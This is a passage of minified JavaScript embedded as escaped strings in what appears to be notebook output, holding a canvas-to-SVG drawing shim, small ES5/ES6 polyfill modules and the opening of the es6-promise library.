{y}\\\",{cp1x:t,cp1y:e,cp2x:i,cp2y:n,x:r,y:o}))},x.prototype.quadraticCurveTo=function(t,e,i,n){this.__currentPosition={x:i,y:n},this.__addPathCommand(f(\\\"Q {cpx} {cpy} {x} {y}\\\",{cpx:t,cpy:e,x:i,y:n}))};var b=function(t){var e=Math.sqrt(t[0]*t[0]+t[1]*t[1]);return[t[0]/e,t[1]/e]};x.prototype.arcTo=function(t,e,i,n,r){var o=this.__currentPosition&&this.__currentPosition.x,s=this.__currentPosition&&this.__currentPosition.y;if(void 0!==o&&void 0!==s){if(r<0)throw new Error(\\\"IndexSizeError: The radius provided (\\\"+r+\\\") is negative.\\\");if(o===t&&s===e||t===i&&e===n||0===r)this.lineTo(t,e);else{var a=b([o-t,s-e]),l=b([i-t,n-e]);if(a[0]*l[1]!=a[1]*l[0]){var h=a[0]*l[0]+a[1]*l[1],u=Math.acos(Math.abs(h)),c=b([a[0]+l[0],a[1]+l[1]]),_=r/Math.sin(u/2),p=t+_*c[0],d=e+_*c[1],f=[-a[1],a[0]],v=[l[1],-l[0]],m=function(t){var e=t[0],i=t[1];return 0<=i?Math.acos(e):-Math.acos(e)},g=m(f),y=m(v);this.lineTo(p+f[0]*r,d+f[1]*r),this.arc(p,d,r,g,y)}else this.lineTo(t,e)}}},x.prototype.stroke=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"fill stroke markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.fill=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"stroke fill markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.rect=function(t,e,i,n){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.moveTo(t,e),this.lineTo(t+i,e),this.lineTo(t+i,e+n),this.lineTo(t,e+n),this.lineTo(t,e),this.closePath()},x.prototype.fillRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.strokeRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.__clearCanvas=function(){for(var t=this.__closestGroupOrSvg(),e=t.getAttribute(\\\"transform\\\"),i=this.__root.childNodes[1],n=i.childNodes,r=n.length-1;0<=r;r--)n[r]&&i.removeChild(n[r]);this.__currentElement=i,this.__groupStack=[],e&&this.__addTransform(e)},x.prototype.clearRect=function(t,e,i,n){if(0!==t||0!==e||i!==this.width||n!==this.height){var r,o=this.__closestGroupOrSvg();r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n,fill:\\\"#FFFFFF\\\"},!0),o.appendChild(r)}else this.__clearCanvas()},x.prototype.createLinearGradient=function(t,e,i,n){var r=this.__createElement(\\\"linearGradient\\\",{id:l(this.__ids),x1:t+\\\"px\\\",x2:i+\\\"px\\\",y1:e+\\\"px\\\",y2:n+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(r),new p(r,this)},x.prototype.createRadialGradient=function(t,e,i,n,r,o){var s=this.__createElement(\\\"radialGradient\\\",{id:l(this.__ids),cx:n+\\\"px\\\",cy:r+\\\"px\\\",r:o+\\\"px\\\",fx:t+\\\"px\\\",fy:e+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(s),new p(s,this)},x.prototype.__parseFont=function(){var t=/^\\\\s*(?=(?:(?:[-a-z]+\\\\s*){0,2}(italic|oblique))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(small-caps))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(bold(?:er)?|lighter|[1-9]00))?)(?:(?:normal|\\\\1|\\\\2|\\\\3)\\\\s*){0,3}((?:xx?-)?(?:small|large)|medium|smaller|larger|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx]))(?:\\\\s*\\\\/\\\\s*(normal|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx])))?\\\\s*([-,\\\\'\\\\\\\"\\\\sa-z0-9]+?)\\\\s*$/i.exec(this.font),e={style:t[1]||\\\"normal\\\",size:t[4]||\\\"10px\\\",family:t[6]||\\\"sans-serif\\\",weight:t[3]||\\\"normal\\\",decoration:t[2]||\\\"normal\\\",href:null};return\\\"underline\\\"===this.__fontUnderline&&(e.decoration=\\\"underline\\\"),this.__fontHref&&(e.href=this.__fontHref),e},x.prototype.__wrapTextLink=function(t,e){if(t.href){var i=this.__createElement(\\\"a\\\");return i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",t.href),i.appendChild(e),i}return e},x.prototype.__applyText=function(t,e,i,n){var r,o,s,a,l=this.__parseFont(),h=this.__closestGroupOrSvg(),u=this.__createElement(\\\"text\\\",{\\\"font-family\\\":l.family,\\\"font-size\\\":l.size,\\\"font-style\\\":l.style,\\\"font-weight\\\":l.weight,\\\"text-decoration\\\":l.decoration,x:e,y:i,\\\"text-anchor\\\":(s=this.textAlign,a={left:\\\"start\\\",right:\\\"end\\\",center:\\\"middle\\\",start:\\\"start\\\",end:\\\"end\\\"},a[s]||a.start),\\\"dominant-baseline\\\":(r=this.textBaseline,o={alphabetic:\\\"alphabetic\\\",hanging:\\\"hanging\\\",top:\\\"text-before-edge\\\",bottom:\\\"text-after-edge\\\",middle:\\\"central\\\"},o[r]||o.alphabetic)},!0);u.appendChild(this.__document.createTextNode(t)),this.__currentElement=u,this.__applyStyleToCurrentElement(n),h.appendChild(this.__wrapTextLink(l,u))},x.prototype.fillText=function(t,e,i){this.__applyText(t,e,i,\\\"fill\\\")},x.prototype.strokeText=function(t,e,i){this.__applyText(t,e,i,\\\"stroke\\\")},x.prototype.measureText=function(t){return this.__ctx.font=this.font,this.__ctx.measureText(t)},x.prototype.arc=function(t,e,i,n,r,o){if(n!==r){n%=2*Math.PI,r%=2*Math.PI,n===r&&(r=(r+2*Math.PI-.001*(o?-1:1))%(2*Math.PI));var s=t+i*Math.cos(r),a=e+i*Math.sin(r),l=t+i*Math.cos(n),h=e+i*Math.sin(n),u=o?0:1,c=0,_=r-n;_<0&&(_+=2*Math.PI),c=o?_>Math.PI?0:1:_>Math.PI?1:0,this.lineTo(l,h),this.__addPathCommand(f(\\\"A {rx} {ry} {xAxisRotation} {largeArcFlag} {sweepFlag} {endX} {endY}\\\",{rx:i,ry:i,xAxisRotation:0,largeArcFlag:c,sweepFlag:u,endX:s,endY:a})),this.__currentPosition={x:s,y:a}}},x.prototype.clip=function(){var t=this.__closestGroupOrSvg(),e=this.__createElement(\\\"clipPath\\\"),i=l(this.__ids),n=this.__createElement(\\\"g\\\");this.__applyCurrentDefaultPath(),t.removeChild(this.__currentElement),e.setAttribute(\\\"id\\\",i),e.appendChild(this.__currentElement),this.__defs.appendChild(e),t.setAttribute(\\\"clip-path\\\",f(\\\"url(#{id})\\\",{id:i})),t.appendChild(n),this.__currentElement=n},x.prototype.drawImage=function(){var t,e,i,n,r,o,s,a,l,h,u,c,_,p,d=Array.prototype.slice.call(arguments),f=d[0],v=0,m=0;if(3===d.length)t=d[1],e=d[2],r=f.width,o=f.height,i=r,n=o;else if(5===d.length)t=d[1],e=d[2],i=d[3],n=d[4],r=f.width,o=f.height;else{if(9!==d.length)throw new Error(\\\"Inavlid number of arguments passed to drawImage: \\\"+arguments.length);v=d[1],m=d[2],r=d[3],o=d[4],t=d[5],e=d[6],i=d[7],n=d[8]}s=this.__closestGroupOrSvg(),this.__currentElement;var g=\\\"translate(\\\"+t+\\\", \\\"+e+\\\")\\\";if(f instanceof x){if((a=f.getSvg().cloneNode(!0)).childNodes&&1<a.childNodes.length){for(l=a.childNodes[0];l.childNodes.length;)p=l.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[p]=p,this.__defs.appendChild(l.childNodes[0]);if(h=a.childNodes[1]){var y,b=h.getAttribute(\\\"transform\\\");y=b?b+\\\" \\\"+g:g,h.setAttribute(\\\"transform\\\",y),s.appendChild(h)}}}else\\\"IMG\\\"===f.nodeName?((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(v||m||r!==f.width||o!==f.height)&&((c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).drawImage(f,v,m,r,o,0,0,i,n),f=c),u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===f.nodeName?f.toDataURL():f.getAttribute(\\\"src\\\")),s.appendChild(u)):\\\"CANVAS\\\"===f.nodeName&&((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).imageSmoothingEnabled=!1,_.mozImageSmoothingEnabled=!1,_.oImageSmoothingEnabled=!1,_.webkitImageSmoothingEnabled=!1,_.drawImage(f,v,m,r,o,0,0,i,n),f=c,u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",f.toDataURL()),s.appendChild(u))},x.prototype.createPattern=function(t,e){var i,n=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"pattern\\\"),r=l(this.__ids);return n.setAttribute(\\\"id\\\",r),n.setAttribute(\\\"width\\\",t.width),n.setAttribute(\\\"height\\\",t.height),\\\"CANVAS\\\"===t.nodeName||\\\"IMG\\\"===t.nodeName?((i=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"image\\\")).setAttribute(\\\"width\\\",t.width),i.setAttribute(\\\"height\\\",t.height),i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===t.nodeName?t.toDataURL():t.getAttribute(\\\"src\\\")),n.appendChild(i),this.__defs.appendChild(n)):t instanceof x&&(n.appendChild(t.__root.childNodes[1]),this.__defs.appendChild(n)),new d(n,this)},x.prototype.setLineDash=function(t){t&&0<t.length?this.lineDash=t.join(\\\",\\\"):this.lineDash=null},x.prototype.drawFocusRing=function(){},x.prototype.createImageData=function(){},x.prototype.getImageData=function(){},x.prototype.putImageData=function(){},x.prototype.globalCompositeOperation=function(){},x.prototype.setTransform=function(){},\\\"object\\\"==typeof window&&(window.C2S=x),\\\"object\\\"==typeof e&&\\\"object\\\"==typeof e.exports&&(e.exports=x)}()},function(t,e,i){var n,o=t(307),r=t(317),s=t(321),a=t(316),l=t(321),h=t(323),u=Function.prototype.bind,c=Object.defineProperty,_=Object.prototype.hasOwnProperty;n=function(t,e,i){var n,r=h(e)&&l(e.value);return delete(n=o(e)).writable,delete n.value,n.get=function(){return!i.overwriteDefinition&&_.call(this,t)?r:(e.value=u.call(r,i.resolveContext?i.resolveContext(this):this),c(this,t,e),this[t])},n},e.exports=function(t){var i=r(arguments[1]);return null!=i.resolveContext&&s(i.resolveContext),a(t,function(t,e){return n(e,t,i)})}},function(t,e,i){var a=t(304),l=t(317),h=t(310),u=t(324);(e.exports=function(t,e){var i,n,r,o,s;return arguments.length<2||\\\"string\\\"!=typeof t?(o=e,e=t,t=null):o=arguments[2],null==t?(i=r=!0,n=!1):(i=u.call(t,\\\"c\\\"),n=u.call(t,\\\"e\\\"),r=u.call(t,\\\"w\\\")),s={value:e,configurable:i,enumerable:n,writable:r},o?a(l(o),s):s}).gs=function(t,e,i){var n,r,o,s;return\\\"string\\\"!=typeof t?(o=i,i=e,e=t,t=null):o=arguments[3],null==e?e=void 0:h(e)?null==i?i=void 0:h(i)||(o=i,i=void 0):(o=e,e=i=void 0),null==t?r=!(n=!0):(n=u.call(t,\\\"c\\\"),r=u.call(t,\\\"e\\\")),s={get:e,set:i,configurable:n,enumerable:r},o?a(l(o),s):s}},function(t,e,i){var n=t(323);e.exports=function(){return n(this).length=0,this}},function(t,e,i){e.exports=t(292)()?Array.from:t(293)},function(t,e,i){e.exports=function(){var t,e,i=Array.from;return\\\"function\\\"==typeof i&&(e=i(t=[\\\"raz\\\",\\\"dwa\\\"]),Boolean(e&&e!==t&&\\\"dwa\\\"===e[1]))}},function(t,e,i){var p=t(337).iterator,d=t(294),f=t(295),v=t(302),m=t(321),g=t(323),y=t(312),b=t(327),x=Array.isArray,w=Function.prototype.call,k={configurable:!0,enumerable:!0,writable:!0,value:null},S=Object.defineProperty;e.exports=function(t){var e,i,n,r,o,s,a,l,h,u,c=arguments[1],_=arguments[2];if(t=Object(g(t)),y(c)&&m(c),this&&this!==Array&&f(this))e=this;else{if(!c){if(d(t))return 1!==(o=t.length)?Array.apply(null,t):((r=new Array(1))[0]=t[0],r);if(x(t)){for(r=new Array(o=t.length),i=0;i<o;++i)r[i]=t[i];return r}}r=[]}if(!x(t))if(void 0!==(h=t[p])){for(a=m(h).call(t),e&&(r=new e),l=a.next(),i=0;!l.done;)u=c?w.call(c,_,l.value,i):l.value,e?(k.value=u,S(r,i,k)):r[i]=u,l=a.next(),++i;o=i}else if(b(t)){for(o=t.length,e&&(r=new e),n=i=0;i<o;++i)u=t[i],i+1<o&&55296<=(s=u.charCodeAt(0))&&s<=56319&&(u+=t[++i]),u=c?w.call(c,_,u,n):u,e?(k.value=u,S(r,n,k)):r[n]=u,++n;o=n}if(void 0===o)for(o=v(t.length),e&&(r=new e(o)),i=0;i<o;++i)u=c?w.call(c,_,t[i],i):t[i],e?(k.value=u,S(r,i,k)):r[i]=u;return e&&(k.value=null,r.length=o),r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(function(){return arguments}());e.exports=function(t){return n.call(t)===r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(t(296));e.exports=function(t){return\\\"function\\\"==typeof t&&n.call(t)===r}},function(t,e,i){e.exports=function(){}},function(t,e,i){e.exports=function(){return this}()},function(t,e,i){e.exports=t(299)()?Math.sign:t(300)},function(t,e,i){e.exports=function(){var t=Math.sign;return\\\"function\\\"==typeof t&&1===t(10)&&-1===t(-20)}},function(t,e,i){e.exports=function(t){return t=Number(t),isNaN(t)||0===t?t:0<t?1:-1}},function(t,e,i){var n=t(298),r=Math.abs,o=Math.floor;e.exports=function(t){return isNaN(t)?0:0!==(t=Number(t))&&isFinite(t)?n(t)*o(r(t)):t}},function(t,e,i){var n=t(301),r=Math.max;e.exports=function(t){return r(0,n(t))}},function(t,e,i){var a=t(321),l=t(323),h=Function.prototype.bind,u=Function.prototype.call,c=Object.keys,_=Object.prototype.propertyIsEnumerable;e.exports=function(o,s){return function(i,n){var t,r=arguments[2],e=arguments[3];return i=Object(l(i)),a(n),t=c(i),e&&t.sort(\\\"function\\\"==typeof e?h.call(e,i):void 0),\\\"function\\\"!=typeof o&&(o=t[o]),u.call(o,t,function(t,e){return _.call(i,t)?u.call(n,r,i[t],t,i,e):s})}}},function(t,e,i){e.exports=t(305)()?Object.assign:t(306)},function(t,e,i){e.exports=function(){var t,e=Object.assign;return\\\"function\\\"==typeof e&&(e(t={foo:\\\"raz\\\"},{bar:\\\"dwa\\\"},{trzy:\\\"trzy\\\"}),t.foo+t.bar+t.trzy===\\\"razdwatrzy\\\")}},function(t,e,i){var s=t(313),a=t(323),l=Math.max;e.exports=function(e,i){var n,t,r,o=l(arguments.length,2);for(e=Object(a(e)),r=function(t){try{e[t]=i[t]}catch(t){n||(n=t)}},t=1;t<o;++t)i=arguments[t],s(i).forEach(r);if(void 0!==n)throw n;return e}},function(t,e,i){var o=t(291),s=t(304),a=t(323);e.exports=function(e){var t=Object(a(e)),i=arguments[1],n=Object(arguments[2]);if(t!==e&&!i)return t;var r={};return i?o(i,function(t){(n.ensure||t in e)&&(r[t]=e[t])}):s(r,e),r}},function(t,e,i){var n,r,o,s,a=Object.create;t(319)()||(n=t(320)),e.exports=n?1!==n.level?a:(s={configurable:(o={},!1),enumerable:(r={},!1),writable:!0,value:void 0},Object.getOwnPropertyNames(Object.prototype).forEach(function(t){o[t]=\\\"__proto__\\\"!==t?s:{configurable:!0,enumerable:!1,writable:!0,value:void 0}}),Object.defineProperties(r,o),Object.defineProperty(n,\\\"nullPolyfill\\\",{configurable:!1,enumerable:!1,writable:!1,value:r}),function(t,e){return a(null===t?r:t,e)}):a},function(t,e,i){e.exports=t(303)(\\\"forEach\\\")},function(t,e,i){e.exports=function(t){return\\\"function\\\"==typeof t}},function(t,e,i){var n=t(312),r={function:!0,object:!0};e.exports=function(t){return n(t)&&r[typeof t]||!1}},function(t,e,i){var n=t(296)();e.exports=function(t){return t!==n&&null!==t}},function(t,e,i){e.exports=t(314)()?Object.keys:t(315)},function(t,e,i){e.exports=function(){try{return Object.keys(\\\"primitive\\\"),!0}catch(t){return!1}}},function(t,e,i){var n=t(312),r=Object.keys;e.exports=function(t){return r(n(t)?Object(t):t)}},function(t,e,i){var n=t(321),a=t(309),l=Function.prototype.call;e.exports=function(t,r){var o={},s=arguments[2];return n(r),a(t,function(t,e,i,n){o[e]=l.call(r,s,t,e,i,n)}),o}},function(t,e,i){var n=t(312),r=Array.prototype.forEach,o=Object.create;e.exports=function(t){var e=o(null);return r.call(arguments,function(t){n(t)&&function(t,e){var i;for(i in t)e[i]=t[i]}(Object(t),e)}),e}},function(t,e,i){e.exports=t(319)()?Object.setPrototypeOf:t(320)},function(t,e,i){var n=Object.create,r=Object.getPrototypeOf,o={};e.exports=function(){var t=Object.setPrototypeOf,e=arguments[0]||n;return\\\"function\\\"==typeof t&&r(t(e(null),o))===o}},function(t,e,i){var r,n,o,s,a=t(311),l=t(323),h=Object.prototype.isPrototypeOf,u=Object.defineProperty,c={configurable:!0,enumerable:!1,writable:!0,value:void 0};r=function(t,e){if(l(t),null===e||a(e))return t;throw new TypeError(\\\"Prototype must be null or an object\\\")},e.exports=(n=function(){var t,e=Object.create(null),i={},n=Object.getOwnPropertyDescriptor(Object.prototype,\\\"__proto__\\\");if(n){try{(t=n.set).call(e,i)}catch(t){}if(Object.getPrototypeOf(e)===i)return{set:t,level:2}}return e.__proto__=i,Object.getPrototypeOf(e)===i?{level:2}:((e={}).__proto__=i,Object.getPrototypeOf(e)===i&&{level:1})}())?(2===n.level?n.set?(s=n.set,o=function(t,e){return s.call(r(t,e),e),t}):o=function(t,e){return r(t,e).__proto__=e,t}:o=function t(e,i){var n;return r(e,i),(n=h.call(t.nullPolyfill,e))&&delete t.nullPolyfill.__proto__,null===i&&(i=t.nullPolyfill),e.__proto__=i,n&&u(t.nullPolyfill,\\\"__proto__\\\",c),e},Object.defineProperty(o,\\\"level\\\",{configurable:!1,enumerable:!1,writable:!1,value:n.level})):null,t(308)},function(t,e,i){e.exports=function(t){if(\\\"function\\\"!=typeof t)throw new TypeError(t+\\\" is not a function\\\");return t}},function(t,e,i){var n=t(311);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not an Object\\\");return t}},function(t,e,i){var n=t(312);e.exports=function(t){if(!n(t))throw new TypeError(\\\"Cannot use null or undefined\\\");return t}},function(t,e,i){e.exports=t(325)()?String.prototype.contains:t(326)},function(t,e,i){var n=\\\"razdwatrzy\\\";e.exports=function(){return\\\"function\\\"==typeof n.contains&&!0===n.contains(\\\"dwa\\\")&&!1===n.contains(\\\"foo\\\")}},function(t,e,i){var n=String.prototype.indexOf;e.exports=function(t){return-1<n.call(this,t,arguments[1])}},function(t,e,i){var n=Object.prototype.toString,r=n.call(\\\"\\\");e.exports=function(t){return\\\"string\\\"==typeof t||t&&\\\"object\\\"==typeof t&&(t instanceof String||n.call(t)===r)||!1}},function(t,e,i){var n=Object.create(null),r=Math.random;e.exports=function(){for(var t;t=r().toString(36).slice(2),n[t];);return t}},function(t,e,i){var n,r=t(318),o=t(324),s=t(289),a=t(337),l=t(332),h=Object.defineProperty;n=e.exports=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");l.call(this,t),e=e?o.call(e,\\\"key+value\\\")?\\\"key+value\\\":o.call(e,\\\"key\\\")?\\\"key\\\":\\\"value\\\":\\\"value\\\",h(this,\\\"__kind__\\\",s(\\\"\\\",e))},r&&r(n,l),delete n.prototype.constructor,n.prototype=Object.create(l.prototype,{_resolve:s(function(t){return\\\"value\\\"===this.__kind__?this.__list__[t]:\\\"key+value\\\"===this.__kind__?[t,this.__list__[t]]:t})}),h(n.prototype,a.toStringTag,s(\\\"c\\\",\\\"Array Iterator\\\"))},function(t,e,i){var c=t(294),_=t(321),p=t(327),d=t(331),f=Array.isArray,v=Function.prototype.call,m=Array.prototype.some;e.exports=function(t,e){var i,n,r,o,s,a,l,h,u=arguments[2];if(f(t)||c(t)?i=\\\"array\\\":p(t)?i=\\\"string\\\":t=d(t),_(e),r=function(){o=!0},\\\"array\\\"!==i)if(\\\"string\\\"!==i)for(n=t.next();!n.done;){if(v.call(e,u,n.value,r),o)return;n=t.next()}else for(a=t.length,s=0;s<a&&(l=t[s],s+1<a&&55296<=(h=l.charCodeAt(0))&&h<=56319&&(l+=t[++s]),v.call(e,u,l,r),!o);++s);else m.call(t,function(t){return v.call(e,u,t,r),o})}},function(t,e,i){var n=t(294),r=t(327),o=t(329),s=t(334),a=t(335),l=t(337).iterator;e.exports=function(t){return\\\"function\\\"==typeof a(t)[l]?t[l]():n(t)?new o(t):r(t)?new s(t):new o(t)}},function(t,e,i){var n,r=t(290),o=t(304),s=t(321),a=t(323),l=t(289),h=t(288),u=t(337),c=Object.defineProperty,_=Object.defineProperties;e.exports=n=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");_(this,{__list__:l(\\\"w\\\",a(t)),__context__:l(\\\"w\\\",e),__nextIndex__:l(\\\"w\\\",0)}),e&&(s(e.on),e.on(\\\"_add\\\",this._onAdd),e.on(\\\"_delete\\\",this._onDelete),e.on(\\\"_clear\\\",this._onClear))},delete n.prototype.constructor,_(n.prototype,o({_next:l(function(){var t;if(this.__list__)return this.__redo__&&void 0!==(t=this.__redo__.shift())?t:this.__nextIndex__<this.__list__.length?this.__nextIndex__++:void this._unBind()}),next:l(function(){return this._createResult(this._next())}),_createResult:l(function(t){return void 0===t?{done:!0,value:void 0}:{done:!1,value:this._resolve(t)}}),_resolve:l(function(t){return this.__list__[t]}),_unBind:l(function(){this.__list__=null,delete this.__redo__,this.__context__&&(this.__context__.off(\\\"_add\\\",this._onAdd),this.__context__.off(\\\"_delete\\\",this._onDelete),this.__context__.off(\\\"_clear\\\",this._onClear),this.__context__=null)}),toString:l(function(){return\\\"[object \\\"+(this[u.toStringTag]||\\\"Object\\\")+\\\"]\\\"})},h({_onAdd:l(function(i){i>=this.__nextIndex__||(++this.__nextIndex__,this.__redo__?(this.__redo__.forEach(function(t,e){i<=t&&(this.__redo__[e]=++t)},this),this.__redo__.push(i)):c(this,\\\"__redo__\\\",l(\\\"c\\\",[i])))}),_onDelete:l(function(i){var t;i>=this.__nextIndex__||(--this.__nextIndex__,this.__redo__&&(-1!==(t=this.__redo__.indexOf(i))&&this.__redo__.splice(t,1),this.__redo__.forEach(function(t,e){i<t&&(this.__redo__[e]=--t)},this)))}),_onClear:l(function(){this.__redo__&&r.call(this.__redo__),this.__nextIndex__=0})}))),c(n.prototype,u.iterator,l(function(){return this}))},function(t,e,i){var n=t(294),r=t(312),o=t(327),s=t(337).iterator,a=Array.isArray;e.exports=function(t){return!(!r(t)||!a(t)&&!o(t)&&!n(t)&&\\\"function\\\"!=typeof t[s])}},function(t,e,i){var n,r=t(318),o=t(289),s=t(337),a=t(332),l=Object.defineProperty;n=e.exports=function(t){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");t=String(t),a.call(this,t),l(this,\\\"__length__\\\",o(\\\"\\\",t.length))},r&&r(n,a),delete n.prototype.constructor,n.prototype=Object.create(a.prototype,{_next:o(function(){if(this.__list__)return this.__nextIndex__<this.__length__?this.__nextIndex__++:void this._unBind()}),_resolve:o(function(t){var e,i=this.__list__[t];return this.__nextIndex__===this.__length__?i:55296<=(e=i.charCodeAt(0))&&e<=56319?i+this.__list__[this.__nextIndex__++]:i})}),l(n.prototype,s.toStringTag,o(\\\"c\\\",\\\"String Iterator\\\"))},function(t,e,i){var n=t(333);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not iterable\\\");return t}},function(L,t,e){\\n\",\n       \"      /*!\\n\",\n       \"           * @overview es6-promise - a tiny implementation of Promises/A+.\\n\",\n       \"           * @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)\\n\",\n       \"           * @license   Licensed under MIT license\\n\",\n       \"           *            See https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE\\n\",\n       \"           * @version   v4.2.4+314e4831\\n\",\n       \"           */var i,n;i=this,n=function(){\\\"use strict\\\";function h(t){return\\\"function\\\"==typeof t}var i=Array.isArray?Array.isArray:function(t){return\\\"[object Array]\\\"===Object.prototype.toString.call(t)},n=0,e=void 0,r=void 0,a=function(t,e){_[n]=t,_[n+1]=e,2===(n+=2)&&(r?r(p):g())},t=\\\"undefined\\\"!=typeof window?window:void 0,o=t||{},s=o.MutationObserver||o.WebKitMutationObserver,l=\\\"undefined\\\"==typeof self&&\\\"undefined\\\"!=typeof process&&\\\"[object process]\\\"==={}.toString.call(process),u=\\\"undefined\\\"!=typeof Uint8ClampedArray&&\\\"undefined\\\"!=typeof importScripts&&\\\"undefined\\\"!=typeof MessageChannel;function c(){var t=setTimeout;return function(){return t(p,1)}}var _=new Array(1e3);function p(){for(var t=0;t<n;t+=2){var e=_[t],i=_[t+1];e(i),_[t]=void 0,_[t+1]=void 0}n=0}var d,f,v,m,g=void 0;function y(t,e){var i=this,n=new this.constructor(w);void 0===n[x]&&I(n);var r=i._state;if(r){var o=arguments[r-1];a(function(){return F(r,n,o,i._result)})}else j(i,n,t,e);return n}function b(t){if(t&&\\\"object\\\"==typeof t&&t.constructor===this)return t;var e=new this(w);return M(e,t),e}l?g=function(){return process.nextTick(p)}:s?(f=0,v=new s(p),m=document.createTextNode(\\\"\\\"),v.observe(m,{characterData:!0}),g=function(){m.data=f=++f%2}):u?((d=new MessageChannel).port1.onmessage=p,g=function(){return d.port2.postMessage(0)}):g=void 0===t&&\\\"function\\\"==typeof L?function(){try{var t=Function(\\\"return this\\\")().require(\\\"vertx\\\");return void 0!==(e=t.runOnLoop||t.runOnContext)?function(){e(p)}:c()}catch(t){return c()}}():c();var x=Math.random().toString(36).substring(2);function w(){}var k=void 0,S=1,C=2,T={error:null};function A(t){try{return t.then}catch(t){return T.error=t,T}}function E(t,e,i){var n,r,o,s;e.constructor===t.constructor&&i===y&&e.constructor.resolve===b?(o=t,(s=e)._state===S?z(o,s._result):s._state===C?P(o,s._result):j(s,void 0,function(t){return M(o,t)},function(t){return P(o,t)})):i===T?(P(t,T.error),T.error=null):void 0===i?z(t,e):h(i)?(n=e,r=i,a(function(e){var i=!1,t=function(t,e,i,n){try{t.call(e,i,n)}catch(t){return t}}(r,n,function(t){i||(i=!0,n!==t?M(e,t):z(e,t))},function(t){i||(i=!0,P(e,t))},e._label);!i&&t&&(i=!0,P(e,t))},t)):z(t,e)}function M(t,e){var i,n;t===e?P(t,new TypeError(\\\"You cannot resolve a promise with itself\\\")):(n=typeof(i=e),null===i||\\\"object\\\"!==n&&\\\"function\\\"!==n?z(t,e):E(t,e,A(e)))}function O(t){t._onerror&&t._onerror(t._result),N(t)}function z(t,e){t._state===k&&(t._result=e,t._state=S,0!==t._subscribers.length&&a(N,t))}function P(t,e){t._state===k&&(t._state=C,t._result=e,a(O,t))}function j(t,e,i,n){var r=t._subscribers,o=r.length;t._onerror=null,r[o]=e,r[o+S]=i,r[o+C]=n,0===o&&t._state&&a(N,t)}function N(t){var e=t._subscribers,i=t._state;if(0!==e.length){for(var n=void 0,r=void 0,o=t._result,s=0;s<e.length;s+=3)n=e[s],r=e[s+i],n?F(i,n,r,o):r(o);t._subscribers.length=0}}function F(t,e,i,n){var r=h(i),o=void 0,s=void 0,a=void 0,l=void 0;if(r){if((o=function(t,e){try{return t(e)}catch(t){return T.error=t,T}}(i,n))===T?(l=!0,s=o.error,o.error=null):a=!0,e===o)return void P(e,new TypeError(\\\"A promises callback cannot return that same promise.\\\"))}else o=n,a=!0;e._state!==k||(r&&a?M(e,o):l?P(e,s):t===S?z(e,o):t===C&&P(e,o))}var D=0;function I(t){t[x]=D++,t._state=void 0,t._result=void 0,t._subscribers=[]}var R=function(){function t(t,e){this._instanceConstructor=t,this.promise=new t(w),this.promise[x]||I(this.promise),i(e)?(this.length=e.length,this._remaining=e.length,this._result=new Array(this.length),0===this.length?z(this.promise,this._result):(this.length=this.length||0,this._enumerate(e),0===this._remaining&&z(this.promise,this._result))):P(this.promise,new Error(\\\"Array Methods must be provided an Array\\\"))}return t.prototype._enumerate=function(t){for(var e=0;this._state===k&&e<t.length;e++)this._eachEntry(t[e],e)},t.prototype._eachEntry=function(e,t){var i=this._instanceConstructor,n=i.resolve;if(n===b){var r=A(e);if(r===y&&e._state!==k)this._settledAt(e._state,t,e._result);else if(\\\"function\\\"!=typeof 